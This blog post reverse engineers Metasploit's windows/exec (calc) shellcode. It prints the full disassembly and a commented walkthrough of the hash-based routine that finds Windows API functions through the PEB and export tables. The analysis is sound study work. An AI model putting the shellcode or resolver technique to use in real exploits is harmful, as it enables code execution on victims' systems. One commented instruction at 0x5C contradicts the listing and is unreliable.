I recently gained some experience with Return Oriented Programming but my first attempt to build a ROP based exploit on my own was a failure at first (read about it here). However in order to solve the problem I had to understand exactly what went wrong and that forced me to read and understand the shellcode I had chosen.

I had chosen windows/exec and putting a breakpoint before it showed me that the decoder was in fact executed and decoded the shellcode. Also, the decoded shellcode was an exact match with the code I encoded. So…​on with the reversing.

The first thing to do was to generate a disassembly of the windows/exec shellcode, which I got like this:

$ msfpayload windows/exec CMD=calc R | ndisasm -b 32 -

This is the disassembly in its entirety:

00000000  FC                cld
00000001  E889000000        call dword 0x8f
00000006  60                pushad
00000007  89E5              mov ebp,esp
00000009  31D2              xor edx,edx
0000000B  648B5230          mov edx,[fs:edx+0x30]
0000000F  8B520C            mov edx,[edx+0xc]
00000012  8B5214            mov edx,[edx+0x14]
00000015  8B7228            mov esi,[edx+0x28]
00000018  0FB74A26          movzx ecx,word [edx+0x26]
0000001C  31FF              xor edi,edi
0000001E  31C0              xor eax,eax
00000020  AC                lodsb
00000021  3C61              cmp al,0x61
00000023  7C02              jl 0x27
00000025  2C20              sub al,0x20
00000027  C1CF0D            ror edi,0xd
0000002A  01C7              add edi,eax
0000002C  E2F0              loop 0x1e
0000002E  52                push edx
0000002F  57                push edi
00000030  8B5210            mov edx,[edx+0x10]
00000033  8B423C            mov eax,[edx+0x3c]
00000036  01D0              add eax,edx
00000038  8B4078            mov eax,[eax+0x78]
0000003B  85C0              test eax,eax
0000003D  744A              jz 0x89
0000003F  01D0              add eax,edx
00000041  50                push eax
00000042  8B4818            mov ecx,[eax+0x18]
00000045  8B5820            mov ebx,[eax+0x20]
00000048  01D3              add ebx,edx
0000004A  E33C              jecxz 0x88
0000004C  49                dec ecx
0000004D  8B348B            mov esi,[ebx+ecx*4]
00000050  01D6              add esi,edx
00000052  31FF              xor edi,edi
00000054  31C0              xor eax,eax
00000056  AC                lodsb
00000057  C1CF0D            ror edi,0xd
0000005A  01C7              add edi,eax
0000005C  38E0              cmp al,ah
0000005E  75F4              jnz 0x54
00000060  037DF8            add edi,[ebp-0x8]
00000063  3B7D24            cmp edi,[ebp+0x24]
00000066  75E2              jnz 0x4a
00000068  58                pop eax
00000069  8B5824            mov ebx,[eax+0x24]
0000006C  01D3              add ebx,edx
0000006E  668B0C4B          mov cx,[ebx+ecx*2]
00000072  8B581C            mov ebx,[eax+0x1c]
00000075  01D3              add ebx,edx
00000077  8B048B            mov eax,[ebx+ecx*4]
0000007A  01D0              add eax,edx
0000007C  89442424          mov [esp+0x24],eax
00000080  5B                pop ebx
00000081  5B                pop ebx
00000082  61                popad
00000083  59                pop ecx
00000084  5A                pop edx
00000085  51                push ecx
00000086  FFE0              jmp eax
00000088  58                pop eax
00000089  5F                pop edi
0000008A  5A                pop edx
0000008B  8B12              mov edx,[edx]
0000008D  EB86              jmp short 0x15
0000008F  5D                pop ebp
00000090  6A01              push byte +0x1
00000092  8D85B9000000      lea eax,[ebp+0xb9]
00000098  50                push eax
00000099  68318B6F87        push dword 0x876f8b31
0000009E  FFD5              call ebp
000000A0  BBF0B5A256        mov ebx,0x56a2b5f0
000000A5  68A695BD9D        push dword 0x9dbd95a6
000000AA  FFD5              call ebp
000000AC  3C06              cmp al,0x6
000000AE  7C0A              jl 0xba
000000B0  80FBE0            cmp bl,0xe0
000000B3  7505              jnz 0xba
000000B5  BB4713726F        mov ebx,0x6f721347
000000BA  6A00              push byte +0x0
000000BC  53                push ebx
000000BD  FFD5              call ebp
000000BF  63616C            arpl [ecx+0x6c],sp
000000C2  6300              arpl [eax],ax

This supposedly executes "calc".

Let’s cut it up a little and comment what happens. In my point of view the code consists of three overall stages: Setup, "Magic" function and execution.

Setup

;Make LOD* instructions increment addresses
00000000  FC                cld
;Push EIP onto stack so that we know where we are...then jump to 0x8f
;The value pushed is the address of the instruction following the call.
00000001  E889000000        call dword 0x8f
;..... Here lies the magic function
;Pop the address into EBP so that it contains the address of the magic function
0000008F  5D                pop ebp

Setup is short. The magic function will use LOD* instructions and they should move from low to higher adresses so the direction flag is cleared. Then the code calls past the magic function to a POP EBP so that EBP contains the address of the function.

Now setup is done.

Execution

I will describe the magic function later since it is quite large…​for now know that it locates other functions and executes them.

;Push the value 1 onto the stack (this is actually the second argument to WinExec)
00000090  6A01              push byte +0x1
;Load the address of the "calc" string at 0xbf into EAX
00000092  8D85B9000000      lea eax,[ebp+0xb9]
;Push the address of "calc" onto the stack (first argument to WinExec)
00000098  50                push eax
;Push the value 0x876f8b31 onto the stack...this is a hash and will be explained later
00000099  68318B6F87        push dword 0x876f8b31
;Call the function at 0x6...the function will return to the next instruction
0000009E  FFD5              call ebp
;Put the value 0x56a2b5f0 into EBX...also a hash
000000A0  BBF0B5A256        mov ebx,0x56a2b5f0
;Put value 0x9dbd95a6 onto stack...you guessed it, it's a hash
000000A5  68A695BD9D        push dword 0x9dbd95a6
;Call the magic function
000000AA  FFD5              call ebp
;Compare low byte in EAX register to the value 6
000000AC  3C06              cmp al,0x6
;If it is less that 6, go to 0xba and skip the next section which may change the
;hash that was put into EBX at address 0xa0
000000AE  7C0A              jl 0xba
;Compare low part of EBX to 0xe0 (at first this didn't make sense
;as EBX at this point is 0x56a2b5f0 and thus BL is 0xf0 but there is an explanation)
000000B0  80FBE0            cmp bl,0xe0
;If it equals goto 0xba...it will not equal in our example
000000B3  7505              jnz 0xba
;If we got here then change EBX to 0x6f721347
000000B5  BB4713726F        mov ebx,0x6f721347
;Now...put a zero byte on the stack (first argument for ExitProcess)
000000BA  6A00              push byte +0x0
;Push the hash...whatever it is (either 0x56a2b5f0 or 0x6f721347)
000000BC  53                push ebx
;Again...call the magic function
000000BD  FFD5              call ebp
;Yes...these are not instructions but rather the name of the program to execute
000000BF  63616C6300        db "calc",0

Pseudocode of the above look something like this:

MagicFunction(HASH(WinExec), "calc", SW_SHOWNORMAL);
DWORD version = MagicFunction(HASH(GetVersion));
if (LOBYTE(LOWORD(version)) >= 6 && (char)hash_of_chosen_exitmethod == 0xa0) {
    /* We are on Windows Vista, Windows 2008, Windows 7 or Windows 8
     * and the penetration tester chose to use ExitThread.
     * Use RtlExitUserThread instead.
     */
    hash_of_chosen_exitmethod = HASH(RtlExitUserThread);
}
MagicFunction(hash_of_chosen_exitmethod, 0);

What does all this mean ? The magic function (which we will look at in a moment) takes a hash of the function that we want to call combined with a hash of the dll that contains the function, plus any arguments to the function we want to call.

So we start by having it invoke WinExec with "calc" and SW_SHOWNORMAL. After that we call an exit function. We can override which function should be used by specifying the EXITFUNC option to 'msfpayload'. Valid options are 'process' which corresponds to ExitProcess, 'thread' which corresponds to ExitThread, 'seh' which is SetUnhandledExceptionFilter, and 'none' which will just call GetLastError.

As we can see, the shellcode will not use ExitThread if running on a Windows version higher than XP. In this case RtlExitUserThread will be called instead.

So, now we know what functions will be called. Lets take a look at the magic function to see how this is actually done.

Magic function

The magic function is not actually magic, but it is very clever. It is a sort of hashed linker using Skapes trick for finding a function inside a dll whose name equals a hash, but instead of us having to specify the base address of the dll to search this function will search all loaded dlls for a function matching the hash. The hash is formed by combining the hash of the dlls name and the functions name. The arguments to the not so magic but clever function is the hash to search for and then the arguments to the function to search for. This may be better explained with pseudo code:

function MagicFunction(long hash, ...) {
    for each loaded dll {
        dll_name_hash = hash(dll.name);
        for each exported symbol {
            symbol_hash = hash(symbol);
            combined_hash = dll_name_hash + symbol_hash;
            if (combined_hash == hash) {
                remove_hash_from_stack;
                put_return_address_on_stack;
                jump(symbol);
            }
        }
    }
}

Something like that. The function removes the hash from the stack and puts the original return address on the stack instead so the jump to the found function will act like a call. When the found function returns it will not return into the FindAndExecute function but to the location where FindAndExecute was called. Very clever. Lets see how this is actually done.

;Preserve all registers, except EAX, ECX and EDX (as we will see in the and
00000006  60                pushad
;Build new stack frame, just like a compiler generated function
00000007  89E5              mov ebp, esp
;Zero out EDX
00000009  31D2              xor edx, edx
;Get pointer to PEB into EDX
;FS register points to TEB: http://www.nirsoft.net/kernel_struct/vista/TEB.html
;FS+0x30 is the PEB: http://www.nirsoft.net/kernel_struct/vista/PEB.html
0000000B  648B5230          mov edx,[fs:edx+0x30]
;Get address of LDR into EDX
;http://www.nirsoft.net/kernel_struct/vista/PEB_LDR_DATA.html
0000000F  8B520C            mov edx,[edx+0xc]
;Get address of InMemoryOrderModuleList list entry into EDX
00000012  8B5214            mov edx,[edx+0x14]

Now EDX points to the first list list entry in memory order. Here begins a loop through all entries in the list.

;We will loop here so we put a label
check_next_dll:
;Get address of base dll name unicode string into ESI
;http://www.nirsoft.net/kernel_struct/vista/LDR_DATA_TABLE_ENTRY.html
;http://www.nirsoft.net/kernel_struct/vista/UNICODE_STRING.html
00000015  8B7228            mov esi,[edx+0x28]
;Get maximum length of base dll name unicode string into ECX
00000018  0FB74A26          movzx ecx,word [edx+0x26]
;Initialize hash to zero
0000001C  31FF              xor edi,edi

Now ESI points to the dll name in Unicode, ECX contains the maximum length in bytes (number of bytes used for the name plus null terminator) and EDI is zero. EDI will eventually contain the hash.

Now we enter a hashing loop.

load_next_character:
;AL will contain a character but high bits needs to be zeroed
0000001E  31C0              xor eax,eax
;Load next byte from address pointed to by ESI into AL and increment ESI by one
00000020  AC                lodsb
;Compare to 'a'
00000021  3C61              cmp al,'a'
;If less than then the character is already uppercase or punctuation
00000023  7C02              jl upper_case
;Subtract 0x20 to make upper case
00000025  2C20              sub al,0x20
upper_case:
;Update hash in EDI
00000027  C1CF0D            ror edi,0xd
0000002A  01C7              add edi,eax
;If we have more characters in the string...
0000002C  E2F0              loop load_next_character

Now EDI contains the hash of the dll name, and EDX still points to the dll in memory order list entry. Next we will find the current dll export list so that we can iterate through all exported functions.

;Save dll list entry
0000002E  52                push edx
;Save dll name hash
0000002F  57                push edi
;Put current modules base addr in EDX
00000030  8B5210            mov edx,[edx+0x10]
;Put PE header offset into EAX
00000033  8B423C            mov eax,[edx+0x3c]
;Make address absolute
00000036  01D0              add eax,edx
;Put offset of exports into EAX
00000038  8B4078            mov eax,[eax+0x78]
;If offset is zero (meaning no exports?)
0000003B  85C0              test eax,eax
;...then go past the code that looks at the export table
0000003D  744A              jz not_found
;...otherwise make address absolute
0000003F  01D0              add eax,edx
;Save address of exports
00000041  50                push eax
;Put number of exported symbols into ECX
00000042  8B4818            mov ecx,[eax+0x18]
;Put offset of names into EBX
00000045  8B5820            mov ebx,[eax+0x20]
;Make address absolute
00000048  01D3              add ebx,edx

At this point ECX contains the number of exported symbols, EBX points to the first entry in the export list and EDX points to the dll base address. The export entries are offsets to where the name lies in memory.

Next comes a loop over all the exported symbols.

;Here we start a loop that runs over all exported symbols
next_symbol:
;If there are no more exported symbols
0000004A  E33C              jecxz no_more_symbols
;Decrement ECX so that we can use it as an offset into the export list
0000004C  49                dec ecx
;Put offset of name into ESI
0000004D  8B348B            mov esi,[ebx+ecx*4]
;Make absolute
00000050  01D6              add esi,edx
;Initialize EDI to zero. EDI will hold the hash of the name
00000052  31FF              xor edi,edi
;Here starts a loop that hashes the name
next_symbol_char:
;AL will contain next character but higher bits needs zeroing
00000054  31C0              xor eax,eax
;Read next character
00000056  AC                lodsb
;Update hash
00000057  C1CF0D            ror edi,0xd
0000005A  01C7              add edi,eax
;Have we reached the end (zero terminated string)
0000005C  38E0              cmp al,al
;If not, read next character
0000005E  75F4              jnz next_symbol_char
;Hash is complete. Combine dll name (at EBP-8) hash with symbol hash
00000060  037DF8            add edi,[ebp-0x8]
;Compare combined hash to first argument to magic function
00000063  3B7D24            cmp edi,[ebp+0x24]
;If not the same try next symbol
00000066  75E2              jnz next_symbol:

If we get past the JNZ instruction it is because the hash matched. In that case the corresponding function should be executed but first its location needs to be found and the stack must be prepared so that it looks like it was called normally. At this point the stack looks like this:

windows exec

The return address is the address of the instruction following the 'CALL EBP' which invoked the magic function. It is the address we want WinExec to return to, so when we have found WinExec we need to remove all the other stuff on the stack and put the return address where the hash is now. Lets see how this happens.

;Restore export table address
00000068  58                pop eax
;Get offset of ordinals into EBX
00000069  8B5824            mov ebx,[eax+0x24]
;Make absolute
0000006C  01D3              add ebx,edx
;Get ordinal of symbol into CX (ordinals are 16 bits)
0000006E  668B0C4B          mov cx,[ebx+ecx*2]
;Offset of function table into EBX
00000072  8B581C            mov ebx,[eax+0x1c]
;Make absolute
00000075  01D3              add ebx,edx
;Put offset of function into EAX
00000077  8B048B            mov eax,[ebx+ecx*4]
;Make absolute
0000007A  01D0              add eax,edx

Now we have the address of the function in EAX. Next we fix the stack.

;Replace PUSHADed EAX
0000007C  89442424          mov [esp+0x24],eax
;Remove top item on stack (address of exports)
00000080  5B                pop ebx
;Remove top item on stack (dll name hash)
00000081  5B                pop ebx
;Restore all registers and remove PUSHADed data
00000082  61                popad
;Get original return address
00000083  59                pop ecx
;Remove hash
00000084  5A                pop edx
;Restore return address
00000085  51                push ecx
;Now simply jump to the function, it will look like it was simply called
00000086  FFE0              jmp eax

The last four instructions do the clever "call" to the found function. WinExec will see the original return address and two arguments, believing it was called normally. We have now covered the most interesting parts of the magic function but there is still five instructions left to cover. Earlier we jumped to 'no_more_symbols' if the iteration through the symbol table reached the end, or to 'not_found' if no symbol table was found. Those two jumps were to locations past the execution of the found function and they follow here:

;We jump here if we have moved past all symbols in the dll
no_more_symbols:
;Restore address of exports structure
00000088  58                pop eax
;We jump here if no exports table was found
not_found:
;Remove saved dll name hash
00000089  5F                pop edi
;Restore address of current in memory order module list entry
0000008A  5A                pop edx
;Follow linked list to next entry
0000008B  8B12              mov edx,[edx]
;Check next dll
0000008D  EB86              jmp check_next_dll

Now the analysis is complete. One thing to note about this last bit is that the function you look for had better be found. Otherwise the program will certainly crash as there is no check for having reached the last entry in the linked list.

I hope you will agree that this function is not really magic but rather a thing of beauty. It is very generic and thus can be used as a basic building block in all shellcodes. And this is exactly what has happened. If you look in all Windows payloads in Metasploit you will see this function.

After I had reverse engineered the windows/exec shellcode someone told me that I could have read the original assembly source with comments. It is located in 'external/source/shellcode/windows/x86/src/single/single_exec.asm'.

While this is true, I believe that I got more out of doing the hard work myself. When reverse engineering you really have to understand all the details and look up documentation on the different structures that are used. When reading the comments I have a tendency to skip this and just trust the comments.

I hope you enjoyed this as much as I did.